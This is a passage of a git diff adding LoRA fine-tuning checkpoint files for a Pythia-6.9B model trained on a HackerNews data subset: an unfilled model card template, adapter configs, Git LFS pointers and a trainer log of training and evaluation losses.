[optional]:** [More Information Needed] +- **Model type:** [More Information Needed] +- **Language(s) (NLP):** [More Information Needed] +- **License:** [More Information Needed] +- **Finetuned from model [optional]:** [More Information Needed] + +### Model Sources [optional] + + + +- **Repository:** [More Information Needed] +- **Paper [optional]:** [More Information Needed] +- **Demo [optional]:** [More Information Needed] + +## Uses + + + +### Direct Use + + + +[More Information Needed] + +### Downstream Use [optional] + + + +[More Information Needed] + +### Out-of-Scope Use + + + +[More Information Needed] + +## Bias, Risks, and Limitations + + + +[More Information Needed] + +### Recommendations + + + +Users (both direct and downstream) should be made aware of the risks, biases and limitations of the model. More information needed for further recommendations. + +## How to Get Started with the Model + +Use the code below to get started with the model. + +[More Information Needed] + +## Training Details + +### Training Data + + + +[More Information Needed] + +### Training Procedure + + + +#### Preprocessing [optional] + +[More Information Needed] + + +#### Training Hyperparameters + +- **Training regime:** [More Information Needed] + +#### Speeds, Sizes, Times [optional] + + + +[More Information Needed] + +## Evaluation + + + +### Testing Data, Factors & Metrics + +#### Testing Data + + + +[More Information Needed] + +#### Factors + + + +[More Information Needed] + +#### Metrics + + + +[More Information Needed] + +### Results + +[More Information Needed] + +#### Summary + + + +## Model Examination [optional] + + + +[More Information Needed] + +## Environmental Impact + + + +Carbon emissions can be estimated using the [Machine Learning Impact calculator](https://mlco2.github.io/impact#compute) presented in [Lacoste et al. (2019)](https://arxiv.org/abs/1910.09700). + +- **Hardware Type:** [More Information Needed] +- **Hours used:** [More Information Needed] +- **Cloud Provider:** [More Information Needed] +- **Compute Region:** [More Information Needed] +- **Carbon Emitted:** [More Information Needed] + +## Technical Specifications [optional] + +### Model Architecture and Objective + +[More Information Needed] + +### Compute Infrastructure + +[More Information Needed] + +#### Hardware + +[More Information Needed] + +#### Software + +[More Information Needed] + +## Citation [optional] + + + +**BibTeX:** + +[More Information Needed] + +**APA:** + +[More Information Needed] + +## Glossary [optional] + + + +[More Information Needed] + +## More Information [optional] + +[More Information Needed] + +## Model Card Authors [optional] + +[More Information Needed] + +## Model Card Contact + +[More Information Needed] +### Framework versions + +- PEFT 0.13.2 \ No newline at end of file diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-450/adapter_config.json b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-450/adapter_config.json new file mode 100644 index 0000000000000000000000000000000000000000..542f584a2a027304327916d01b73120e8cef2575 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-450/adapter_config.json @@ -0,0 +1,31 @@ +{ + "alpha_pattern": {}, + "auto_mapping": null, + "base_model_name_or_path": "/workspace/pythia-6_9b", + "bias": "none", + "fan_in_fan_out": false, + "inference_mode": true, + "init_lora_weights": true, + "layer_replication": null, + "layers_pattern": null, + "layers_to_transform": null, + "loftq_config": {}, + "lora_alpha": 32, + "lora_dropout": 0.1, + "megatron_config": null, + "megatron_core": "megatron.core", + "modules_to_save": null, + "peft_type": "LORA", + "r": 8, + "rank_pattern": {}, + "revision": null, + "target_modules": [ + "dense", + "query_key_value", + "dense_h_to_4h", + "dense_4h_to_h" + ], + "task_type": "CAUSAL_LM", + "use_dora": false, + "use_rslora": false +} \ No newline at end of file diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-450/adapter_model.safetensors b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-450/adapter_model.safetensors new file mode 100644 index 0000000000000000000000000000000000000000..4dc13301227fd1918754d5b053528d9c3db8ebb2 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-450/adapter_model.safetensors @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:7feb5250fbc89bfc0df4894b892519550ea3aec3b6fec9516314835282a374f7 +size 67144544 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-450/optimizer.pt b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-450/optimizer.pt new file mode 100644 index 0000000000000000000000000000000000000000..b28016ed9b90755cc4c3d9e79f25c68701700bc7 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-450/optimizer.pt @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:8a7cfe1d89577f5efa4c17d768f6c3125bd0ffe5c5b4b74c63c930d0ef2de468 +size 134432453 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-450/rng_state.pth b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-450/rng_state.pth new file mode 100644 index 0000000000000000000000000000000000000000..3e7c44b011328e871a23ca1fea7cc6ea78d70a29 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-450/rng_state.pth @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:4cc0a8131f9f14b855b33975c5e795a94be3a332a0f3cf68a9ec3ab6ce73b177 +size 14575 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-450/scheduler.pt b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-450/scheduler.pt new file mode 100644 index 0000000000000000000000000000000000000000..671e99d731836dff5ed479ba9e24ab368c795616 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-450/scheduler.pt @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:bb8360cb66be4e8be27b2f376c800950e3f00449fb6491d6247165f9aff23820 +size 627 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-450/trainer_state.json b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-450/trainer_state.json new file mode 100644 index 0000000000000000000000000000000000000000..71b114cac98ef57b41ced7cfc02a4c24bf1b2e13 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-450/trainer_state.json @@ -0,0 +1,708 @@ +{ + "best_metric": 2.4732604026794434, + "best_model_checkpoint": "./output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-80", + "epoch": 6.0, + "eval_steps": 10, + "global_step": 450, + "is_hyper_param_search": false, + "is_local_process_zero": true, + "is_world_process_zero": true, + "log_history": [ + { + "epoch": 0.13333333333333333, + "grad_norm": 0.37742483615875244, + "learning_rate": 7.881481481481482e-05, + "loss": 2.449, + "step": 10 + }, + { + "epoch": 0.13333333333333333, + "eval_loss": 2.499645471572876, + "eval_runtime": 43.7851, + "eval_samples_per_second": 22.839, + "eval_steps_per_second": 2.855, + "step": 10 + }, + { + "epoch": 0.26666666666666666, + "grad_norm": 0.37197864055633545, + "learning_rate": 7.762962962962963e-05, + "loss": 2.474, + "step": 20 + }, + { + "epoch": 0.26666666666666666, + "eval_loss": 2.4948627948760986, + "eval_runtime": 43.7584, + "eval_samples_per_second": 22.853, + "eval_steps_per_second": 2.857, + "step": 20 + }, + { + "epoch": 0.4, + "grad_norm": 0.4249051809310913, + "learning_rate": 7.644444444444445e-05, + "loss": 2.4313, + "step": 30 + }, + { + "epoch": 0.4, + "eval_loss": 2.488459825515747, + "eval_runtime": 43.7487, + "eval_samples_per_second": 22.858, + "eval_steps_per_second": 2.857, + "step": 30 + }, + { + "epoch": 0.5333333333333333, + "grad_norm": 0.41083791851997375, + "learning_rate": 7.525925925925926e-05, + "loss": 2.3956, + "step": 40 + }, + { + "epoch": 0.5333333333333333, + "eval_loss": 2.484058380126953, + "eval_runtime": 43.7468, + "eval_samples_per_second": 22.859, + "eval_steps_per_second": 2.857, + "step": 40 + }, + { + "epoch": 0.6666666666666666, + "grad_norm": 0.4243389070034027, + "learning_rate": 7.407407407407409e-05, + "loss": 2.4302, + "step": 50 + }, + { + "epoch": 0.6666666666666666, + "eval_loss": 2.4803571701049805, + "eval_runtime": 43.7346, + "eval_samples_per_second": 22.865, + "eval_steps_per_second": 2.858, + "step": 50 + }, + { + "epoch": 0.8, + "grad_norm": 0.397676944732666, + "learning_rate": 7.28888888888889e-05, + "loss": 2.3347, + "step": 60 + }, + { + "epoch": 0.8, + "eval_loss": 2.476881504058838, + "eval_runtime": 43.8912, + "eval_samples_per_second": 22.784, + "eval_steps_per_second": 2.848, + "step": 60 + }, + { + "epoch": 0.9333333333333333, + "grad_norm": 0.35474804043769836, + "learning_rate": 7.170370370370371e-05, + "loss": 2.4288, + "step": 70 + }, + { + "epoch": 0.9333333333333333, + "eval_loss": 2.4748315811157227, + "eval_runtime": 43.7178, + "eval_samples_per_second": 22.874, + "eval_steps_per_second": 2.859, + "step": 70 + }, + { + "epoch": 1.0666666666666667, + "grad_norm": 0.3500179052352905, + "learning_rate": 7.051851851851853e-05, + "loss": 2.4189, + "step": 80 + }, + { + "epoch": 1.0666666666666667, + "eval_loss": 2.4732604026794434, + "eval_runtime": 43.7328, + "eval_samples_per_second": 22.866, + "eval_steps_per_second": 2.858, + "step": 80 + }, + { + "epoch": 1.2, + "grad_norm": 0.4862900674343109, + "learning_rate": 6.933333333333334e-05, + "loss": 2.3734, + "step": 90 + }, + { + "epoch": 1.2, + "eval_loss": 2.475278377532959, + "eval_runtime": 43.7793, + "eval_samples_per_second": 22.842, + "eval_steps_per_second": 2.855, + "step": 90 + }, + { + "epoch": 1.3333333333333333, + "grad_norm": 0.6158331632614136, + "learning_rate": 6.814814814814815e-05, + "loss": 2.3574, + "step": 100 + }, + { + "epoch": 1.3333333333333333, + "eval_loss": 2.4776110649108887, + "eval_runtime": 43.8278, + "eval_samples_per_second": 22.817, + "eval_steps_per_second": 2.852, + "step": 100 + }, + { + "epoch": 1.4666666666666668, + "grad_norm": 0.6770918965339661, + "learning_rate": 6.696296296296296e-05, + "loss": 2.3454, + "step": 110 + }, + { + "epoch": 1.4666666666666668, + "eval_loss": 2.4802608489990234, + "eval_runtime": 43.7989, + "eval_samples_per_second": 22.832, + "eval_steps_per_second": 2.854, + "step": 110 + }, + { + "epoch": 1.6, + "grad_norm": 0.8334079384803772, + "learning_rate": 6.577777777777777e-05, + "loss": 2.3435, + "step": 120 + }, + { + "epoch": 1.6, + "eval_loss": 2.4808130264282227, + "eval_runtime": 43.7637, + "eval_samples_per_second": 22.85, + "eval_steps_per_second": 2.856, + "step": 120 + }, + { + "epoch": 1.7333333333333334, + "grad_norm": 0.7085514664649963, + "learning_rate": 6.45925925925926e-05, + "loss": 2.2746, + "step": 130 + }, + { + "epoch": 1.7333333333333334, + "eval_loss": 2.481640577316284, + "eval_runtime": 43.8381, + "eval_samples_per_second": 22.811, + "eval_steps_per_second": 2.851, + "step": 130 + }, + { + "epoch": 1.8666666666666667, + "grad_norm": 0.9837716817855835, + "learning_rate": 6.340740740740741e-05, + "loss": 2.3891, + "step": 140 + }, + { + "epoch": 1.8666666666666667, + "eval_loss": 2.482353448867798, + "eval_runtime": 43.7812, + "eval_samples_per_second": 22.841, + "eval_steps_per_second": 2.855, + "step": 140 + }, + { + "epoch": 2.0, + "grad_norm": 0.8127220869064331, + "learning_rate": 6.222222222222223e-05, + "loss": 2.3203, + "step": 150 + }, + { + "epoch": 2.0, + "eval_loss": 2.4834463596343994, + "eval_runtime": 43.7397, + "eval_samples_per_second": 22.863, + "eval_steps_per_second": 2.858, + "step": 150 + }, + { + "epoch": 2.1333333333333333, + "grad_norm": 0.8362072110176086, + "learning_rate": 6.103703703703704e-05, + "loss": 2.1909, + "step": 160 + }, + { + "epoch": 2.1333333333333333, + "eval_loss": 2.503129005432129, + "eval_runtime": 43.7501, + "eval_samples_per_second": 22.857, + "eval_steps_per_second": 2.857, + "step": 160 + }, + { + "epoch": 2.2666666666666666, + "grad_norm": 1.2620470523834229, + "learning_rate": 5.9851851851851855e-05, + "loss": 2.253, + "step": 170 + }, + { + "epoch": 2.2666666666666666, + "eval_loss": 2.524071216583252, + "eval_runtime": 43.733, + "eval_samples_per_second": 22.866, + "eval_steps_per_second": 2.858, + "step": 170 + }, + { + "epoch": 2.4, + "grad_norm": 1.1998324394226074, + "learning_rate": 5.8666666666666665e-05, + "loss": 2.2446, + "step": 180 + }, + { + "epoch": 2.4, + "eval_loss": 2.5290536880493164, + "eval_runtime": 43.7796, + "eval_samples_per_second": 22.842, + "eval_steps_per_second": 2.855, + "step": 180 + }, + { + "epoch": 2.533333333333333, + "grad_norm": 1.202661395072937, + "learning_rate": 5.748148148148149e-05, + "loss": 2.2898, + "step": 190 + }, + { + "epoch": 2.533333333333333, + "eval_loss": 2.5280601978302, + "eval_runtime": 43.7487, + "eval_samples_per_second": 22.858, + "eval_steps_per_second": 2.857, + "step": 190 + }, + { + "epoch": 2.6666666666666665, + "grad_norm": 1.4101752042770386, + "learning_rate": 5.62962962962963e-05, + "loss": 2.1206, + "step": 200 + }, + { + "epoch": 2.6666666666666665, + "eval_loss": 2.5348124504089355, + "eval_runtime": 43.7317, + "eval_samples_per_second": 22.867, + "eval_steps_per_second": 2.858, + "step": 200 + }, + { + "epoch": 2.8, + "grad_norm": 1.4827243089675903, + "learning_rate": 5.511111111111112e-05, + "loss": 2.1736, + "step": 210 + }, + { + "epoch": 2.8, + "eval_loss": 2.5345828533172607, + "eval_runtime": 43.748, + "eval_samples_per_second": 22.858, + "eval_steps_per_second": 2.857, + "step": 210 + }, + { + "epoch": 2.9333333333333336, + "grad_norm": 1.4372262954711914, + "learning_rate": 5.392592592592593e-05, + "loss": 2.2083, + "step": 220 + }, + { + "epoch": 2.9333333333333336, + "eval_loss": 2.534963846206665, + "eval_runtime": 43.7358, + "eval_samples_per_second": 22.865, + "eval_steps_per_second": 2.858, + "step": 220 + }, + { + "epoch": 3.066666666666667, + "grad_norm": 1.3322038650512695, + "learning_rate": 5.274074074074074e-05, + "loss": 2.1604, + "step": 230 + }, + { + "epoch": 3.066666666666667, + "eval_loss": 2.5551891326904297, + "eval_runtime": 43.7474, + "eval_samples_per_second": 22.859, + "eval_steps_per_second": 2.857, + "step": 230 + }, + { + "epoch": 3.2, + "grad_norm": 1.7982910871505737, + "learning_rate": 5.155555555555556e-05, + "loss": 2.0041, + "step": 240 + }, + { + "epoch": 3.2, + "eval_loss": 2.619675874710083, + "eval_runtime": 43.7429, + "eval_samples_per_second": 22.861, + "eval_steps_per_second": 2.858, + "step": 240 + }, + { + "epoch": 3.3333333333333335, + "grad_norm": 2.1107077598571777, + "learning_rate": 5.037037037037037e-05, + "loss": 1.942, + "step": 250 + }, + { + "epoch": 3.3333333333333335, + "eval_loss": 2.6037955284118652, + "eval_runtime": 43.7364, + "eval_samples_per_second": 22.864, + "eval_steps_per_second": 2.858, + "step": 250 + }, + { + "epoch": 3.466666666666667, + "grad_norm": 1.9783029556274414, + "learning_rate": 4.918518518518519e-05, + "loss": 2.0183, + "step": 260 + }, + { + "epoch": 3.466666666666667, + "eval_loss": 2.6220054626464844, + "eval_runtime": 43.7512, + "eval_samples_per_second": 22.857, + "eval_steps_per_second": 2.857, + "step": 260 + }, + { + "epoch": 3.6, + "grad_norm": 1.8481639623641968, + "learning_rate": 4.8e-05, + "loss": 2.0877, + "step": 270 + }, + { + "epoch": 3.6, + "eval_loss": 2.6184496879577637, + "eval_runtime": 43.7386, + "eval_samples_per_second": 22.863, + "eval_steps_per_second": 2.858, + "step": 270 + }, + { + "epoch": 3.7333333333333334, + "grad_norm": 1.8271690607070923, + "learning_rate": 4.681481481481481e-05, + "loss": 2.1139, + "step": 280 + }, + { + "epoch": 3.7333333333333334, + "eval_loss": 2.6199121475219727, + "eval_runtime": 43.7417, + "eval_samples_per_second": 22.861, + "eval_steps_per_second": 2.858, + "step": 280 + }, + { + "epoch": 3.8666666666666667, + "grad_norm": 1.9534505605697632, + "learning_rate": 4.5629629629629636e-05, + "loss": 2.065, + "step": 290 + }, + { + "epoch": 3.8666666666666667, + "eval_loss": 2.623281717300415, + "eval_runtime": 43.7442, + "eval_samples_per_second": 22.86, + "eval_steps_per_second": 2.858, + "step": 290 + }, + { + "epoch": 4.0, + "grad_norm": 1.928299069404602, + "learning_rate": 4.444444444444445e-05, + "loss": 2.0962, + "step": 300 + }, + { + "epoch": 4.0, + "eval_loss": 2.6169235706329346, + "eval_runtime": 43.7502, + "eval_samples_per_second": 22.857, + "eval_steps_per_second": 2.857, + "step": 300 + }, + { + "epoch": 4.133333333333334, + "grad_norm": 2.410632371902466, + "learning_rate": 4.3259259259259264e-05, + "loss": 1.8775, + "step": 310 + }, + { + "epoch": 4.133333333333334, + "eval_loss": 2.709437370300293, + "eval_runtime": 43.8353, + "eval_samples_per_second": 22.813, + "eval_steps_per_second": 2.852, + "step": 310 + }, + { + "epoch": 4.266666666666667, + "grad_norm": 2.781919240951538, + "learning_rate": 4.2074074074074075e-05, + "loss": 1.8813, + "step": 320 + }, + { + "epoch": 4.266666666666667, + "eval_loss": 2.715420722961426, + "eval_runtime": 43.8196, + "eval_samples_per_second": 22.821, + "eval_steps_per_second": 2.853, + "step": 320 + }, + { + "epoch": 4.4, + "grad_norm": 2.7426798343658447, + "learning_rate": 4.088888888888889e-05, + "loss": 1.8863, + "step": 330 + }, + { + "epoch": 4.4, + "eval_loss": 2.720925807952881, + "eval_runtime": 43.9836, + "eval_samples_per_second": 22.736, + "eval_steps_per_second": 2.842, + "step": 330 + }, + { + "epoch": 4.533333333333333, + "grad_norm": 2.5579946041107178, + "learning_rate": 3.970370370370371e-05, + "loss": 1.8657, + "step": 340 + }, + { + "epoch": 4.533333333333333, + "eval_loss": 2.7156050205230713, + "eval_runtime": 43.8526, + "eval_samples_per_second": 22.804, + "eval_steps_per_second": 2.85, + "step": 340 + }, + { + "epoch": 4.666666666666667, + "grad_norm": 2.5620954036712646, + "learning_rate": 3.851851851851852e-05, + "loss": 1.8775, + "step": 350 + }, + { + "epoch": 4.666666666666667, + "eval_loss": 2.7065465450286865, + "eval_runtime": 43.8667, + "eval_samples_per_second": 22.796, + "eval_steps_per_second": 2.85, + "step": 350 + }, + { + "epoch": 4.8, + "grad_norm": 2.4796056747436523, + "learning_rate": 3.733333333333334e-05, + "loss": 1.9735, + "step": 360 + }, + { + "epoch": 4.8, + "eval_loss": 2.7022056579589844, + "eval_runtime": 43.8669, + "eval_samples_per_second": 22.796, + "eval_steps_per_second": 2.85, + "step": 360 + }, + { + "epoch": 4.933333333333334, + "grad_norm": 2.311401844024658, + "learning_rate": 3.614814814814815e-05, + "loss": 1.9683, + "step": 370 + }, + { + "epoch": 4.933333333333334, + "eval_loss": 2.7018933296203613, + "eval_runtime": 43.9361, + "eval_samples_per_second": 22.76, + "eval_steps_per_second": 2.845, + "step": 370 + }, + { + "epoch": 5.066666666666666, + "grad_norm": 2.346043348312378, + "learning_rate": 3.4962962962962965e-05, + "loss": 1.8337, + "step": 380 + }, + { + "epoch": 5.066666666666666, + "eval_loss": 2.7532222270965576, + "eval_runtime": 43.8082, + "eval_samples_per_second": 22.827, + "eval_steps_per_second": 2.853, + "step": 380 + }, + { + "epoch": 5.2, + "grad_norm": 3.011246681213379, + "learning_rate": 3.377777777777778e-05, + "loss": 1.7292, + "step": 390 + }, + { + "epoch": 5.2, + "eval_loss": 2.807420492172241, + "eval_runtime": 43.8249, + "eval_samples_per_second": 22.818, + "eval_steps_per_second": 2.852, + "step": 390 + }, + { + "epoch": 5.333333333333333, + "grad_norm": 3.1823174953460693, + "learning_rate": 3.259259259259259e-05, + "loss": 1.7703, + "step": 400 + }, + { + "epoch": 5.333333333333333, + "eval_loss": 2.793494701385498, + "eval_runtime": 43.8418, + "eval_samples_per_second": 22.809, + "eval_steps_per_second": 2.851, + "step": 400 + }, + { + "epoch": 5.466666666666667, + "grad_norm": 3.0969038009643555, + "learning_rate": 3.140740740740741e-05, + "loss": 1.7738, + "step": 410 + }, + { + "epoch": 5.466666666666667, + "eval_loss": 2.799389600753784, + "eval_runtime": 44.0564, + "eval_samples_per_second": 22.698, + "eval_steps_per_second": 2.837, + "step": 410 + }, + { + "epoch": 5.6, + "grad_norm": 2.961643934249878, + "learning_rate": 3.0222222222222225e-05, + "loss": 1.7961, + "step": 420 + }, + { + "epoch": 5.6, + "eval_loss": 2.7950029373168945, + "eval_runtime": 43.8519, + "eval_samples_per_second": 22.804, + "eval_steps_per_second": 2.851, + "step": 420 + }, + { + "epoch": 5.733333333333333, + "grad_norm": 3.098991870880127, + "learning_rate": 2.9037037037037042e-05, + "loss": 1.8045, + "step": 430 + }, + { + "epoch": 5.733333333333333, + "eval_loss": 2.794708490371704, + "eval_runtime": 43.8163, + "eval_samples_per_second": 22.823, + "eval_steps_per_second": 2.853, + "step": 430 + }, + { + "epoch": 5.866666666666667, + "grad_norm": 3.1050519943237305, + "learning_rate": 2.7851851851851856e-05, + "loss": 1.8189, + "step": 440 + }, + { + "epoch": 5.866666666666667, + "eval_loss": 2.790193796157837, + "eval_runtime": 43.8333, + "eval_samples_per_second": 22.814, + "eval_steps_per_second": 2.852, + "step": 440 + }, + { + "epoch": 6.0, + "grad_norm": 2.814183473587036, + "learning_rate": 2.6666666666666667e-05, + "loss": 1.7888, + "step": 450 + }, + { + "epoch": 6.0, + "eval_loss": 2.7924447059631348, + "eval_runtime": 43.9915, + "eval_samples_per_second": 22.732, + "eval_steps_per_second": 2.841, + "step": 450 + } + ], + "logging_steps": 10, + "max_steps": 675, + "num_input_tokens_seen": 0, + "num_train_epochs": 9, + "save_steps": 10, + "stateful_callbacks": { + "TrainerControl": { + "args": { + "should_epoch_stop": false, + "should_evaluate": false, + "should_log": false, + "should_save": true, + "should_training_stop": false + }, + "attributes": {} + } + }, + "total_flos": 7.3737323937792e+16, + "train_batch_size": 8, + "trial_name": null, + "trial_params": null +} diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-450/training_args.bin b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-450/training_args.bin new file mode 100644 index 0000000000000000000000000000000000000000..1b36d56f3e7bbd7abe2f26b35ff49f9f8148b671 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-450/training_args.bin @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:cda8e41a408b45a7a6604c90cbebf2f8b1064d9750a6a2900ae126084a84e2d8 +size 4859 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-460/README.md b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-460/README.md new file mode 100644 index 0000000000000000000000000000000000000000..e255b1d99c1c1d12955d852dc1056813be7ffca0 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-460/README.md @@ -0,0 +1,202 @@ +--- +base_model: /workspace/pythia-6_9b +library_name: peft +--- + +# Model Card for Model ID + + + + + +## Model Details + +### Model Description + + + + + +- **Developed by:** [More Information Needed] +- **Funded by [optional]:** [More Information Needed] +- **Shared by [optional]:** [More Information Needed] +- **Model type:** [More Information Needed] +- **Language(s) (NLP):** [More Information Needed] +- **License:** [More Information Needed] +- **Finetuned from model [optional]:** [More Information Needed] + +### Model Sources [optional] + + + +- **Repository:** [More Information Needed] +- **Paper [optional]:** [More Information Needed] +- **Demo [optional]:** [More Information Needed] + +## Uses + + + +### Direct Use + + + +[More Information Needed] + +### Downstream Use [optional] + + + +[More Information Needed] + +### Out-of-Scope Use + + + +[More Information Needed] + +## Bias, Risks, and Limitations + + + +[More Information Needed] + +### Recommendations + + + +Users (both direct and downstream) should be made aware of the risks, biases and limitations of the model. More information needed for further recommendations. + +## How to Get Started with the Model + +Use the code below to get started with the model. + +[More Information Needed] + +## Training Details + +### Training Data + + + +[More Information Needed] + +### Training Procedure + + + +#### Preprocessing [optional] + +[More Information Needed] + + +#### Training Hyperparameters + +- **Training regime:** [More Information Needed] + +#### Speeds, Sizes, Times [optional] + + + +[More Information Needed] + +## Evaluation + + + +### Testing Data, Factors & Metrics + +#### Testing Data + + + +[More Information Needed] + +#### Factors + + + +[More Information Needed] + +#### Metrics + + + +[More Information Needed] + +### Results + +[More Information Needed] + +#### Summary + + + +## Model Examination [optional] + + + +[More Information Needed] + +## Environmental Impact + + + +Carbon emissions can be estimated using the [Machine Learning Impact calculator](https://mlco2.github.io/impact#compute) presented in [Lacoste et al. (2019)](https://arxiv.org/abs/1910.09700). + +- **Hardware Type:** [More Information Needed] +- **Hours used:** [More Information Needed] +- **Cloud Provider:** [More Information Needed] +- **Compute Region:** [More Information Needed] +- **Carbon Emitted:** [More Information Needed] + +## Technical Specifications [optional] + +### Model Architecture and Objective + +[More Information Needed] + +### Compute Infrastructure + +[More Information Needed] + +#### Hardware + +[More Information Needed] + +#### Software + +[More Information Needed] + +## Citation [optional] + + + +**BibTeX:** + +[More Information Needed] + +**APA:** + +[More Information Needed] + +## Glossary [optional] + + + +[More Information Needed] + +## More Information [optional] + +[More Information Needed] + +## Model Card Authors [optional] + +[More Information Needed] + +## Model Card Contact + +[More Information Needed] +### Framework versions + +- PEFT 0.13.2 \ No newline at end of file diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-460/adapter_config.json b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-460/adapter_config.json new file mode 100644 index 0000000000000000000000000000000000000000..542f584a2a027304327916d01b73120e8cef2575 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-460/adapter_config.json @@ -0,0 +1,31 @@ +{ + "alpha_pattern": {}, + "auto_mapping": null, + "base_model_name_or_path": "/workspace/pythia-6_9b", + "bias": "none", + "fan_in_fan_out": false, + "inference_mode": true, + "init_lora_weights": true, + "layer_replication": null, + "layers_pattern": null, + "layers_to_transform": null, + "loftq_config": {}, + "lora_alpha": 32, + "lora_dropout": 0.1, + "megatron_config": null, + "megatron_core": "megatron.core", + "modules_to_save": null, + "peft_type": "LORA", + "r": 8, + "rank_pattern": {}, + "revision": null, + "target_modules": [ + "dense", + "query_key_value", + "dense_h_to_4h", + "dense_4h_to_h" + ], + "task_type": "CAUSAL_LM", + "use_dora": false, + "use_rslora": false +} \ No newline at end of file diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-460/adapter_model.safetensors b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-460/adapter_model.safetensors new file mode 100644 index 0000000000000000000000000000000000000000..bbd707f13404259debcbd4459e6d84da95cecc1e --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-460/adapter_model.safetensors @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:0459fe3ed44cd6e2892197f01f84122f9a431a8972fcc774ca3a8d57709bb4af +size 67144544 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-460/optimizer.pt b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-460/optimizer.pt new file mode 100644 index 